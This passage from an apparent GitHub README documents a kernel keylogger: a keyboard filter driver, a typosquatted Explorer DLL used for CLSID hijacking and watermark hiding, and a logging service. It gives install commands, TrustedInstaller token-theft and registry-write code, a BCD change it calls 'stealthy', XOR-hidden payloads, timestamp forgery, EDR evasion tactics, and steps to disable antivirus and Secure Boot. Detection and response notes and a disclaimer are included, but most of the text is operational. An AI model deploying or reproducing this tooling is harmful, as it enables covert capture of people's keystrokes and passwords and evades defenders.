- We cannot hardcode a GUID (it varies per system)
Reading Process:
1. Read HKLM\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\23000003
2. Extract Element value (binary GUID data)
3. Convert to string format: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
4. Use this GUID to locate the current boot entry's Elements key
Purpose: Controls whether Windows will load drivers signed with test certificates. When enabled, the OS displays a watermark: "Test Mode - Windows [Edition] - Build [Number]"
Data Format:
- Type: REG_BINARY
- Length: 1 byte
- Value:
0x01= Enabled0x00= Disabled- (missing) = Disabled
Location:
HKLM\BCD00000000\Objects\{current boot GUID}\Elements\16000049
Why Test Signing is Needed: Windows enforces Driver Signature Enforcement (DSE) on x64 systems:
- All kernel drivers must be signed by Microsoft or a trusted CA
- Self-signed or test-signed drivers are rejected by default
- Test signing mode allows test certificates (for development)
Our Driver's Signature: kvckbd.sys is signed with a test certificate (WDKTestCert Administrator, thumbprint: 134041667787870176), requiring test mode enabled.
Step-by-Step Process:
-
Read Current Boot GUID:
- Path:
HKLM\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\23000003 - Value Name:
Element - Result: Binary data containing GUID
- Path:
-
Parse GUID:
- Convert binary to string format:
{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
- Convert binary to string format:
-
Construct Testsigning Path:
HKLM\BCD00000000\Objects\{parsed GUID}\Elements\16000049 -
Create Key (if missing):
- Use RegCreateKeyExW with TrustedInstaller privileges
-
Write Binary Value:
- Value Name:
Element - Type: REG_BINARY
- Data:
0x01(single byte)
- Value Name:
-
Reboot Required:
- Changes take effect only after system restart
The standard way to enable test signing:
bcdedit /set testsigning onHowever, this project uses direct registry manipulation because:
- Demonstrates advanced Windows internals knowledge
- Bypasses command-line detection
- More stealthy (no process execution)
- Educational value in understanding BCD structure
Investigators can detect test signing via:
bcdedit /enum {current}Output will show:
testsigning Yes
Or via registry inspection at:
HKLM\BCD00000000\Objects\{...}\Elements\16000049
Service Control Manager (SCM) Role: Windows doesn't load drivers directly from files. Instead:
- Driver information is registered in the registry
- SCM reads registry at boot
- SCM loads drivers based on Start type
- Drivers execute from their registered ImagePath
Why Registry-Based?
- Centralized configuration
- Boot-time loading (before file system fully initialized)
- Dependency management
- Security (controlled by system permissions)
Primary Key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kvckbd
Required Values:
| Value Name | Type | Data | Purpose |
|---|---|---|---|
| Type | REG_DWORD | 0x00000001 | SERVICE_KERNEL_DRIVER |
| Start | REG_DWORD | 0x00000002 | SERVICE_AUTO_START (loads at boot) |
| ErrorControl | REG_DWORD | 0x00000001 | SERVICE_ERROR_NORMAL (log error, continue boot) |
| ImagePath | REG_EXPAND_SZ | \System32...\kvckbd.sys | Relative path to driver |
| DisplayName | REG_SZ | "kvckbd" | Human-readable name |
Value Explanations:
Type Values:
0x00000001= Kernel-mode driver0x00000002= File system driver0x00000010= Win32 service
Start Values:
0x00000000= Boot (loads by boot loader)0x00000001= System (loads during kernel initialization)0x00000002= Automatic (loads at boot)0x00000003= Manual (must be started explicitly)0x00000004= Disabled
ErrorControl Values:
0x00000000= Ignore (log error, continue silently)0x00000001= Normal (log error, display message, continue)0x00000002= Severe (try last known good, fail boot if unavailable)0x00000003= Critical (must succeed or boot fails)
What is DriverStore? Windows maintains a protected repository of installed drivers at:
%SystemRoot%\System32\DriverStore\FileRepository\
Directory Structure:
DriverStore\FileRepository\
βββ keyboard.inf_amd64_[random hash]\
βββ keyboard.inf
βββ i8042prt.sys
βββ kbdclass.sys
βββ kvckbd.sys β Our driver here
Why DriverStore?
- Trusted location (TrustedInstaller ownership)
- Version management (multiple driver versions coexist)
- System protection (Windows File Protection monitors)
- Driver signature verification
Challenge: The DriverStore subdirectory has a random hash suffix:
keyboard.inf_amd64_12ca23d60da30d59
This hash varies per system, so we cannot hardcode the path.
Solution - Dynamic Discovery:
std::wstring GetDriverStorePath() {
std::wstring driverStoreBase =
L"C:\\Windows\\System32\\DriverStore\\FileRepository\\";
// Search for keyboard.inf_amd64_* directory
std::wstring searchPattern = driverStoreBase + L"keyboard.inf_amd64_*";
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
return driverStoreBase + findData.cFileName;
}
} while (FindNextFileW(hFind, &findData));
}
// Fallback to default path
return driverStoreBase + L"keyboard.inf_amd64_12ca23d60da30d59";
}Installation Process:
- Locate DriverStore keyboard directory
- Copy kvckbd.sys to this directory (requires TI privileges)
- Construct relative ImagePath for registry
Relative Path:
\System32\DriverStore\FileRepository\keyboard.inf_amd64_XXX\kvckbd.sys
Why Relative?
- System-independent (works on any Windows installation)
- Handles different drive letters (C:, D:, etc.)
- Boot-time resolution (before drive letters assigned)
Boot-Time Resolution: At boot, Windows resolves relative paths:
\System32\... β %SystemRoot%\System32\...
Standard API (Insufficient):
SC_HANDLE hService = CreateServiceW(
hSCM, L"kvckbd", L"kvckbd", ...
);This fails because:
- CreateServiceW writes to protected registry keys
- Administrator privileges cannot modify protected registry keys like CLSID entries in HKCR, which require TrustedInstaller-level access, (maybe write to SYSTEM\CurrentControlSet\Services, but I find it more convenient to use TrustedInstaller everywhere)
- TrustedInstaller ownership required
Our Approach - Direct Registry:
// Using TrustedInstaller token (already acquired)
ImpersonateLoggedOnUser(tiToken);
// Create service key
RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Services\\kvckbd",
...
);
// Write Type value
RegSetValueExW(hKey, L"Type", 0, REG_DWORD,
(BYTE*)&type, sizeof(DWORD));
// Write Start value
RegSetValueExW(hKey, L"Start", 0, REG_DWORD,
(BYTE*)&start, sizeof(DWORD));
// ... write other values
RegCloseKey(hKey);
RevertToSelf();Boot Sequence:
1. BIOS/UEFI loads Windows Boot Manager
2. Boot Manager reads BCD (checks testsigning flag)
3. Boot Manager loads winload.exe
4. winload.exe loads kernel (ntoskrnl.exe)
5. Kernel initialization begins
6. SCM reads SYSTEM\CurrentControlSet\Services
7. SCM loads drivers with Start=0x00000002 (AUTO_START)
8. kvckbd.sys DriverEntry() executes
9. Driver initializes and starts hooking
First Boot After Installation:
- Driver service registered in registry
- System reboots
- Test signing enabled (BCD modified)
- SCM loads kvckbd.sys automatically
- Driver starts intercepting keyboard
Check Service Registration:
sc query kvckbdCheck Registry:
reg query HKLM\SYSTEM\CurrentControlSet\Services\kvckbdCheck Driver in Memory:
sc query type=driver state=all | findstr /i kvckbdOr using DriverView tools:
driverquery /v | findstr /i kvckbdSystem Requirements:
- Windows 10 or Windows 11 (x64 only)
- Administrator privileges
- Secure Boot disabled in BIOS/UEFI
- Minimum 50 MB free disk space
Pre-Installation Checklist:
- β BIOS/UEFI Secure Boot disabled
- β Administrator account (not standard user)
- β Antivirus/EDR temporarily disabled (educational testing)
- β System restore point created (recommended)
Security Boot Disable:
- Enter BIOS/UEFI setup (usually F2, Del, F10 during boot)
- Navigate to Security or Boot settings
- Find "Secure Boot" option
- Change to Disabled
- Save and exit
Simple Installation:
UdpLogger.exe installThis performs:
- Resource extraction
- Privilege escalation
- File deployment
- Registry configuration
- Service creation
- Prompts for reboot
Automatic Reboot:
UdpLogger.exe install --reboot- Skips reboot prompt
- Initiates immediate system restart (10-second countdown)
- Useful for scripted deployments
Installation Stages:
Step 1/6: Installing drivers...
β’ Extracting kvckbd.sys from embedded resources
β’ Extracting ExpIorerFrame.dll from embedded resources
β’ Deploying to protected system directories
[SUCCESS] Drivers installed
Step 2/6: Installing registry keys...
β’ Writing CLSID hijack entry
[SUCCESS] Registry keys installed
Step 3/6: Enabling test signing...
β’ Reading current boot GUID
β’ Writing BCD element 16000049
[SUCCESS] Test signing enabled (reboot required)
Step 4/6: Registering driver service...
β’ Creating SYSTEM\CurrentControlSet\Services\kvckbd
β’ Writing ImagePath, Type, Start values
[SUCCESS] Driver service registered (reboot required)
Step 5/6: Installing Windows service...
β’ Creating service UdpKeyboardLogger
β’ Setting automatic start
[SUCCESS] Service installed
Step 6/6: Starting service...
[SUCCESS] Service started
[SUCCESS] Full installation completed successfully
+============================================================+
| System reboot is REQUIRED for changes to take effect. |
+============================================================+
Reboot now? (Y/N):
Post-Installation: After reboot:
- Driver loads automatically (Start=2)
- Service starts automatically
- CLSID hijack active (loads with Explorer)
- Test mode watermark appears (can be suppressed by ExpIorerFrame.dll)
Comprehensive Status Check:
UdpLogger.exe statusExample Output:
=== UDP Keyboard Logger - Full System Status ===
[+] Windows Service: RUNNING (UdpKeyboardLogger)
[+] Kernel Driver: LOADED (kvckbd.sys)
[+] CLSID Hijack: ACTIVE (ExplorerFrame.dll -> ExpIorerFrame.dll)
[+] Test Signing: ENABLED (BCD)
[+] Files: All components present
Overall Status: FULLY OPERATIONAL
Individual Component Checks:
Service Status:
UdpLogger.exe service statusDriver Status:
UdpLogger.exe driver statusStart Service:
UdpLogger.exe service startStop Service:
UdpLogger.exe service stopRestart Service:
UdpLogger.exe service restart- Stops service
- Waits 1 second
- Starts service
Start Driver:
UdpLogger.exe driver start- Loads driver into kernel memory
- Executes DriverEntry()
- Begins keyboard interception
Stop Driver:
UdpLogger.exe driver stop- Calls driver unload routine
- Unhooks all keyboards
- Releases resources
- Removes from kernel memory
Restart Driver:
UdpLogger.exe driver restart- Stops driver
- Waits 2 seconds (cleanup)
- Starts driver
Note: Driver restart may be necessary after:
- Plugging new USB keyboards
- Resume from sleep/hibernation
- Software conflicts
Log Location: The service writes logs to the first writable location among:
%TEMP%\keyboard_log_YYYY-MM-DD.txt%TMP%\keyboard_log_YYYY-MM-DD.txt%USERPROFILE%\Documents\keyboard_log_YYYY-MM-DD.txt- Current directory
Viewing Logs:
type %TEMP%\keyboard_log_2025-10-10.txtOr open with any text editor.
Log Rotation: New file created automatically at midnight. Old files preserved indefinitely (manual cleanup required).
Complete Removal:
UdpLogger.exe uninstallThis performs:
- Stops Windows service
- Uninstalls service
- Restores CLSID registry (points to legitimate ExplorerFrame.dll)
- Disables test signing (BCD)
- Unregisters driver service
- Deletes files (System32\ExpIorerFrame.dll, DriverStore\kvckbd.sys)
Post-Uninstall: Reboot recommended (but not required). Driver and DLL will be removed at next boot if locked.
Note: Test signing remains in BCD but is disabled. To completely remove:
bcdedit /deletevalue testsigningIRQL-Aware Design: The driver operates at multiple IRQL (Interrupt Request Level) contexts:
| Context | IRQL | Allowed Operations |
|---|---|---|
| System thread | PASSIVE_LEVEL | All operations, can wait |
| IRP dispatch | β€ DISPATCH_LEVEL | No paged memory, no blocking |
| Spinlock held | DISPATCH_LEVEL | Minimal operations only |
Synchronization Primitives Used:
-
KSPIN_LOCK (Line Buffer):
- Used at DISPATCH_LEVEL
- Fast, non-blocking
- Protects line buffer during keystroke accumulation
- Acquired/released in microseconds
-
ERESOURCE (Keyboard Objects):
- Used at PASSIVE_LEVEL
- Allows shared/exclusive access
- Protects keyboard object state during IRP processing
- Can be held across function calls
-
LIST_ENTRY (Keyboard Object List):
- Interlocked operations
- Protected by spinlock
- Thread-safe insertion/removal
Pool Tags: All allocations use KBDDRIVER_POOL_TAG ('KdbK'):
#define KBDDRIVER_POOL_TAG 'dbKK'Benefits:
- Leak detection via pool tag tracking
- Driver Verifier integration
- Debugging with !poolfind command
Allocation Strategy:
- Non-paged pool only (accessible at DISPATCH_LEVEL)
- Zero-initialize all allocations
- RAII-style cleanup (resources tied to object lifecycle)
Example:
PKBDDRIVER_KEYBOARD_OBJECT obj = ExAllocatePool2(
POOL_FLAG_NON_PAGED,
sizeof(KBDDRIVER_KEYBOARD_OBJECT),
KBDDRIVER_POOL_TAG
);
RtlZeroMemory(obj, sizeof(KBDDRIVER_KEYBOARD_OBJECT));
// ... use object ...
ExFreePoolWithTag(obj, KBDDRIVER_POOL_TAG);Offset Handling:
#ifdef _WIN64
#define REMOVE_LOCK_OFFSET_DE 0x20
#define SPIN_LOCK_OFFSET_DE 0xA0
#define READ_QUEUE_OFFSET_DE 0xA8
#else
#define REMOVE_LOCK_OFFSET_DE 0x10
#define SPIN_LOCK_OFFSET_DE 0x6C
#define READ_QUEUE_OFFSET_DE 0x70
#endifWhy Different?
- Pointer sizes: 4 bytes (x86) vs 8 bytes (x64)
- Structure padding/alignment requirements
- Internal Microsoft structure layout changes
Implication: Code compiled for x64 will not work on x86 and vice versa. Requires separate compilation for each architecture.
Challenge: IRPs can be cancelled at any time (application closes, timeout expires). The driver must handle cancellation gracefully without causing BSOD.
Cancellation Routine:
VOID KbdIrp_Cancel(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
IoReleaseCancelSpinLock(Irp->CancelIrql);
// Find keyboard object
// Mark cancellation flag
KeyboardObject->IrpCancel = TRUE;
// Cancel forwarded IRP
if (KeyboardObject->NewIrp) {
IoCancelIrp(KeyboardObject->NewIrp);
}
// Complete original IRP with STATUS_CANCELLED
Irp->IoStatus.Status = STATUS_CANCELLED;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
}Race Condition Prevention: When dequeuing IRPs, check if cancel routine was cleared:
PDRIVER_CANCEL oldRoutine = IoSetCancelRoutine(irp, NULL);
if (oldRoutine) {
// Safe to use IRP
} else {
// Cancel routine is running, skip this IRP
}WSK Operation Failures:
- Address resolution failure β Log error, continue
- Socket creation failure β Fatal, abort initialization
- Send failure β Log error, discard data (no retry)
Design Decision: Network failures are non-fatal. The driver continues to intercept keystrokes but silently drops data if network is unavailable.
Rationale:
- Prevents blocking keyboard input
- Avoids BSOD from network errors
- Graceful degradation
Compiler Flags (Release):
/O1 - Optimize for size
/Gy - Enable function-level linking
/Gw - Optimize global data
/GS- - Disable buffer security checks
/GL - Whole program optimization
Linker Flags:
/OPT:REF - Eliminate unreferenced functions
/OPT:ICF=5 - Identical COMDAT folding (aggressive)
/LTCG - Link-time code generation
/MERGE:.rdata=.text - Merge sections
Result:
- UdpLogger.exe: ~190 KB (highly optimized)
- ExpIorerFrame.dll: ~7 KB (minimal CRT)
- kvckbd.sys: ~30 KB (kernel driver)
1. Driver Signature Enforcement (DSE):
- Bypass: Enable test signing via BCD modification
- Impact: Allows unsigned/test-signed drivers
- Detection: Visible watermark (unless suppressed), bcdedit /enum shows testsigning
2. File System Virtualization:
- Bypass: TrustedInstaller token impersonation
- Impact: Direct write to protected directories
- Detection: File system audit logs, TI process activity
3. Registry Protection:
- Bypass: TrustedInstaller token
- Impact: Modify CLSID entries, BCD, service keys
- Detection: Registry auditing, RegMon tools
4. CLSID Integrity:
- Bypass: Replace legitimate COM DLL path
- Impact: Persistent code execution in Explorer
- Detection: CLSID registry monitoring, file hash verification
File Artifacts:
C:\Windows\System32\ExpIorerFrame.dll (note: uppercase I)
C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys
Registry Artifacts:
HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32 = ExpIorerFrame.dll
HKLM\SYSTEM\CurrentControlSet\Services\kvckbd
HKLM\SYSTEM\CurrentControlSet\Services\UdpKeyboardLogger
HKLM\BCD00000000\Objects\{...}\Elements\16000049 = 0x01
Network Artifacts:
- UDP traffic on port 31415
- Localhost connections (127.0.0.1:31415)
- Regular traffic patterns (typing sessions)
Process Artifacts:
- Services.exe β UdpLogger.exe (Windows Service)
- Explorer.exe β ExpIorerFrame.dll loaded
- System β kvckbd.sys driver active
Behavioral Indicators:
- "Test Mode" watermark disappears
- New service: UdpKeyboardLogger
- Driver loaded: kvckbd
- Periodic UDP traffic to localhost
| Technique ID | Description |
|---|---|
| T1547.001 | Boot or Logon Autostart β Driver service with AUTO_START |
| T1546.015 | CLSID Hijacking β COM object persistence |
| T1547.006 | Kernel Modules and Extensions β Kernel driver loading |
| T1056.001 | Input Capture β Keyboard interception |
| T1134.001 | Impersonation β TrustedInstaller token theft |
| T1046 | Network Service Discovery β UDP listener on localhost |
Prevention:
- Enable Secure Boot (blocks unsigned drivers)
- Enforce Driver Signature Enforcement
- Monitor BCD modifications
- Restrict TrustedInstaller token access
- Monitor CLSID registry keys
- File integrity monitoring for System32
Detection:
- Audit registry: HKLM\BCD00000000 changes
- Monitor service creation: HKLM\SYSTEM\CurrentControlSet\Services
- Network monitoring: Unexpected localhost UDP traffic
- EDR: Driver load events
- SIEM: TrustedInstaller impersonation events
Response:
- Disable test signing:
bcdedit /set testsigning off - Unregister service:
sc delete kvckbd - Delete files: Remove ExpIorerFrame.dll, kvckbd.sys
- Restore CLSID registry value
- Reboot system
Required Tools:
- Visual Studio 2019 or 2022
- Windows Driver Kit (WDK) 10
- Windows SDK 10.0.19041.0 or later
- Platform Toolset: v143
Project Structure:
Solution: UdpKeyboardLogger.sln
βββ kvckbd (Driver Project)
β βββ kvckbd.vcxproj
β βββ driver.c / driver.h
β βββ network.c / network.h
β βββ scancode.c / scancode.h
β βββ kvckbd.inf
βββ ExplorerFrame (DLL Project)
β βββ Explorerframe.vcxproj
β βββ Explorerframe.cpp / .h
β βββ version.rc
βββ UdpLogger (Service Project)
βββ UdpLogger.vcxproj
βββ UdpLogger.cpp
βββ DriverInstaller.cpp
βββ TrustedInstallerExecutor.cpp
βββ UdpServiceManager.cpp
βββ ResourceExtractor.cpp
Build Order:
- ExplorerFrame.dll (Release | x64)
- kvckbd.sys (Release | x64)
- Resource packaging script (embed DLL and SYS in ICO)
- UdpLogger.exe (Release | x64)
Configuration: All projects use Release configuration with aggressive optimizations.
Test Signing (Development):
makecert -r -pe -ss PrivateCertStore -n "CN=TestDriverCert" TestDriverCert.cer
signtool sign /v /s PrivateCertStore /n "TestDriverCert" /t http://timestamp.digicert.com kvckbd.sysProduction Signing: Requires EV Code Signing Certificate from Microsoft-trusted CA.
Timestamp Modification: Both UdpLogger.exe and ExplorerFrame.dll have post-build events that modify timestamps:
$f='$(OutDir)$(TargetName)$(TargetExt)'
(Get-Item $f).CreationTime='2026-01-01 00:00:00'
(Get-Item $f).LastWriteTime='2026-01-01 00:00:00'Purpose:
- Disguise recent compilation
- Match legitimate Windows files
- Avoid detection by creation/modification time
Symptoms:
[ERROR] kvckbd driver: STOPPED
Causes:
- Test signing not enabled
- Secure Boot enabled
- Driver not signed
- BCD not modified correctly
Solutions:
# Check test signing
bcdedit /enum {current} | findstr testsigning
# Enable if disabled
UdpLogger install
# Verify BCD modification
reg query "HKLM\BCD00000000\Objects\{GUID}\Elements\16000049"
# Manually enable test signing
bcdedit /set testsigning onSymptoms:
[ERROR] Failed to start service
Causes:
- Files missing
- Permissions incorrect
- Port 31415 already in use
Solutions:
# Check service status
sc query UdpKeyboardLogger
# Check event logs
eventvwr.msc
# Navigate to: Windows Logs > Application
# Check port availability
netstat -an | findstr 31415
# Reinstall
UdpLogger uninstall
UdpLogger installSymptoms:
- Service running
- Driver loaded
- No log file generated or empty file
Causes:
- Driver not hooking keyboards
- Network communication failing
- Log file permissions
Solutions:
# Restart driver
UdpLogger driver restart
# Check log location
dir %TEMP%\keyboard_log*.txt
# Manually test UDP
# In PowerShell:
$udp = New-Object System.Net.Sockets.UdpClient
$udp.Send([System.Text.Encoding]::UTF8.GetBytes("test"), 4, "127.0.0.1", 31415)
$udp.Close()Symptoms:
[-] CLSID Hijack: INACTIVE
Causes:
- Registry not modified correctly
- TrustedInstaller privileges not acquired
- File deleted/quarantined by AV
Solutions:
# Manually verify registry
reg query "HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32"
# Check file presence
dir C:\Windows\System32\ExpIorerFrame.dll
# Reinstall with AV disabled
UdpLogger uninstall
# Disable antivirus
UdpLogger installDriver Debug Output: Use DebugView (Sysinternals) to capture kernel debug messages:
[KBD INFO] Driver initialization completed successfully
[KBD INFO] Keyboard object created: Filter=...
Network Capture:
# Capture localhost UDP with Wireshark
# Set filter: udp.port == 31415Registry Monitoring:
# Use Process Monitor (procmon.exe)
# Filter: Path contains "kvckbd" or "ExpIorerFrame"System Won't Boot (Test Signing Issue):
- Boot into Safe Mode (F8 during boot)
- Disable test signing:
bcdedit /set testsigning off - Reboot normally
Driver Causes BSOD:
- Boot into Safe Mode
- Disable driver:
sc config kvckbd start= disabled - Delete driver service:
sc delete kvckbd - Reboot
Service Locks Files:
# Stop service
net stop UdpKeyboardLogger
# Delete locked files at next boot
# (requires reboot)| Component | Size (Compressed) | Size (Deployed) | Location | Protection Level |
|---|---|---|---|---|
| UdpLogger.exe | ~160 KB | ~160 KB | User-controlled | None (public executable) |
| Embedded Resource | ~18 KB | N/A | Inside UdpLogger.exe | XOR + CAB compressed |
| kvckbd.sys | ~6 KB (in CAB) | ~15 KB | DriverStore FileRepository | TrustedInstaller ACL |
| ExpIorerFrame.dll | ~4 KB (in CAB) | ~8 KB | System32 | TrustedInstaller ACL |
| keyboard_log_*.txt | N/A | Variable | %TEMP% or Documents | LocalSystem ACL (service-owned) |
UdpLogger.exe --install (Administrator)
β
βββ [0-50ms] Secure Boot Detection
β βββ Registry: HKLM\...\SecureBoot\State\UEFISecureBootEnabled
β βββ Block if enabled (exit code 1)
β
βββ [50-150ms] Resource Extraction
β βββ Load RT_RCDATA (IDR_MAINICON)
β βββ Skip ICO (1662 bytes)
β βββ XOR decrypt (7-byte key)
β βββ FDI decompress (in-memory)
β βββ Parse kvc.bin β 2 PE files
β
βββ [50-200ms] Token Impersonation Chain
β βββ Get SYSTEM token (winlogon.exe) [~10ms]
β βββ Start TrustedInstaller service [~30ms]
β βββ Duplicate TI token [~5ms]
β βββ Enable 8 privileges [~5ms]
β
βββ [50-200ms] File Deployment (TI context)
β βββ CreateFileW() β ExpIorerFrame.dll [~20ms]
β βββ CreateFileW() β kvckbd.sys [~30ms]
β
βββ [50-100ms] Registry Configuration (TI context)
β βββ CLSID hijack value [~15ms]
β βββ BCD test signing element [~20ms]
β βββ Driver service keys [~15ms]
β
βββ [20-50ms] Windows Service Creation
β βββ CreateServiceW() β UdpKeyboardLogger [~50ms]
β
βββ [5ms+] Reboot Prompt
βββ InitiateSystemShutdownExW() (10 sec delay)
Total Installation Time: ~0,2-1 second (excluding reboot)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β After System Reboot β
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββ [Boot Phase 1] BCD Test Signing Active
β βββ HKLM\BCD00000000\...\16000049\Element = 0x01
β βββ Allows test-signed drivers to load
β
βββ [Boot Phase 2] kvckbd.sys Auto-Start
β βββ Registry: HKLM\...\Services\kvckbd\Start = 2
β βββ Kernel driver loaded by I/O Manager
β
βββ [Boot Phase 3] Explorer.exe Shell Initialization
β βββ COM Server Activation
β βββ CLSID {ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}
β βββ Loads ExpIorerFrame.dll (typo hijack)
β
βββ [Boot Phase 4] UdpKeyboardLogger Service Start
βββ SERVICE_AUTO_START β ServiceMain()
βββ UDP listener on 127.0.0.1:31415
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Runtime Operation (Per Keystroke) β
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
[User presses key on keyboard]
β
i8042prt.sys / USB HID Driver (Hardware Interface)
β <1ΞΌs
kbdclass.sys (Windows Keyboard Class Driver)
β
[IRP_MJ_READ] β kvckbd.sys intercepts here
β ~10ΞΌs (scan code β ASCII translation)
kvckbd.sys internal buffer (512 bytes, line-based)
β ~50ΞΌs (WSK socket send)
127.0.0.1:31415 (UDP packet - localhost)
β ~100ΞΌs (network stack + service processing)
UdpLogger.exe service (recvfrom)
β ~200ΞΌs (string formatting + mutex lock)
FileLogger::log() β fstream::write()
β ~1ms (disk I/O buffered write)
keyboard_log_2025-01-15.txt (appended line)
Total Keystroke Latency: ~1.5ms (key press β disk write)
| Metric | Value | Notes |
|---|---|---|
| Installation Time | 0,5-1 seconds | Excluding reboot prompt |
| Resource Extraction | <50ms | Entirely in-memory operations |
| Token Impersonation | ~200ms | TrustedInstaller service startup time |
| File Write (TI) | ~50ms/file | Direct API, no cmd.exe overhead |
| Registry Write (TI) | ~10ms/key | Single API call per operation |
| Keystroke Latency | <2ms | Kernel β Service β Disk |
| Service Memory | ~2 MB | Resident set size (RSS) |
| Driver Memory | ~32 KB | Non-paged pool allocation |
| Log Growth Rate | ~1 KB/hour | Average typing (60 WPM) |
| CPU Usage (Idle) | <0.04% | Service + driver combined |
| CPU Usage (Active) | ~0.1% | During continuous typing |
Static Analysis Challenges:
- β XOR encryption of embedded CAB archive
- β Typosquatting DLL name (
ExpIorerFramevsExplorerFrame) - β No hardcoded file paths (dynamic DriverStore path resolution)
- β In-memory CAB extraction (no temporary files on disk)
- β PE files hidden inside compressed archive
- β Icon resource appears legitimate to automated scanners
Runtime Behavioral Indicators:
| Indicator | Visibility | Forensic Evidence |
|---|---|---|
| Service "UdpKeyboardLogger" | High | sc query UdpKeyboardLogger |
| Driver "kvckbd" loaded | Medium | fltmc instances / driverquery |
| CLSID registry modification | Low | Requires TI privileges to read |
| BCD test signing enabled | High | bcdedit /enum {current} shows testsigning=Yes |
| UDP port 31415 listening | Medium | `netstat -ano |
| Log files in %TEMP% | High | Visible to user account |
| "Test Mode" watermark absent | Medium | ExpIorerFrame.dll hooks API |
| TrustedInstaller usage | Low | Event log 4688 (process creation) |
EDR/AV Evasion Techniques:
- No Process Injection: Driver + service run as legitimate system components
- No Code Caves: Direct file writes, not memory patching
- Localhost-only Traffic: UDP to 127.0.0.1 (no external network activity)
- Legitimate COM Mechanism: CLSID hijacking uses standard Windows feature
- Test Signing Certificate: Driver signed (not unsigned/malformed)
- TrustedInstaller Context: Operations appear as system maintenance
- No Suspicious API Chains: Direct Win32 calls, minimal hooking
Forensic Artifacts:
-
Registry:
HKLM\SYSTEM\CurrentControlSet\Services\kvckbd -
Registry:
HKLM\SYSTEM\CurrentControlSet\Services\UdpKeyboardLogger -
Registry:
HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32 -
Registry:
HKLM\BCD00000000\Objects\{GUID}\Elements\16000049 -
File:
%SystemRoot%\System32\ExpIorerFrame.dll -
File:
%SystemRoot%\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys -
Logs:
%TEMP%\keyboard_log_*.txtor%USERPROFILE%\Documents\keyboard_log_*.txt -
Event Log: Security events 4688, 4656, 4663 (TrustedInstaller operations)
This project is provided strictly for educational and research purposes. It demonstrates:
- Advanced Windows kernel programming techniques
- Driver development and IRP handling
- Windows internals and security mechanisms
- Privilege escalation methods
- Persistence techniques for defensive awareness
Legal Requirements:
- Use only in controlled laboratory environments
- Obtain explicit written authorization before deployment
- Never use on systems you do not own or have permission to test
- Comply with all applicable local, state, national, and international laws
Prohibited Uses:
- Unauthorized access to computer systems
- Monitoring without consent
- Corporate espionage
- Identity theft or fraud
- Any illegal activity
Red Team / Penetration Testing: If used in authorized penetration testing:
- Maintain signed contracts and scope documents
- Follow rules of engagement
- Report findings responsibly
- Provide remediation guidance
Blue Team / Defense: Understand these techniques to:
- Improve detection capabilities
- Develop countermeasures
- Enhance incident response
- Train security teams
The authors and contributors:
- Provide this software "AS IS" without warranty
- Accept no responsibility for misuse
- Are not liable for any damages resulting from use
- Do not endorse illegal activities
By using this software, you agree:
- To comply with all applicable laws
- To use only in authorized contexts
- To accept full responsibility for your actions
- To not hold authors liable for any consequences
If you discover vulnerabilities or improvements:
- Report via GitHub Issues (public)
- Or email: marek@wesolowski.eu.org (private)
- Follow coordinated disclosure principles
- Allow reasonable time for response
This project represents a comprehensive exploration of Windows kernel programming, privilege escalation, persistence mechanisms, and system internals. Through the three-component architecture (kernel driver, COM DLL, and management service), it demonstrates techniques rarely seen in modern driver development.
- First working IRP-based keyboard filter in over a decade
- Sophisticated TrustedInstaller privilege escalation
- Innovative line-buffering for reduced network overhead
- Complete installation/uninstallation automation
- Comprehensive system status monitoring
Students and researchers can learn:
- Windows Driver Model (WDM) internals
- Kernel synchronization primitives
- IRP handling and cancellation
- Winsock Kernel (WSK) networking
- BCD structure and manipulation
- COM hijacking techniques
- Windows Service development
- KMDF driver rewrite (modern framework)
- Configurable network destination (beyond localhost)
- Encrypted keystroke transmission
- Enhanced stealth (remove test mode requirement)
- Multi-keyboard simultaneous support
- Improved unload reliability
- Project URL: https://github.com/wesmar/KeyboardKit
- Author: Marek Wesolowski
- Contact: marek@wesolowski.eu.org | +48 607 440 283
- License: Educational Use Only (See LICENSE file)
- Version: 1.0.0
- Last Updated: October 2025
Star this repository if you found it educational!